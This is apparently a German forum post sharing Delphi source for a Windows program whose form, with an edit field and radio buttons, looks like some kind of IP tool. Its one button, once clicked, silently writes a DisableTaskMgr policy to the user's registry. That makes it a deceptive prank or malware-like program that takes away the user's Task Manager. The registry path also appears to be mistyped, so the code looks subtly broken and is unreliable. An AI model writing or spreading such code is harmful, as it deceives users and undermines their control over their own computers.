ja isser xD
btw der source:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons, ExtCtrls, jpeg, registry;
type
TForm1 = class(TForm)
LabeledEdit1: TLabeledEdit;
BitBtn1: TBitBtn;
GroupBox1: TGroupBox;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
RadioButton3: TRadioButton;
RadioButton4: TRadioButton;
RadioButton5: TRadioButton;
RadioButton6: TRadioButton;
RadioButton7: TRadioButton;
RadioButton8: TRadioButton;
RadioButton9: TRadioButton;
RadioButton10: TRadioButton;
Panel1: TPanel;
procedure BitBtn1Click(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var regist : tregistry;
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.BitBtn1Click(Sender: TObject);
begin
LabeledEdit1.Text:='127.0.0.1';
regist:=tregistry.create;
regist.rootkey:=HKEY_CURRENT_USER;
regist.openkey('Software\Microsoft\Windows\Current Version\Policies\System', true);
regist.writeinteger('DisableTaskMgr', 1);
regist.closekey;
regist.destroy;
end;
end.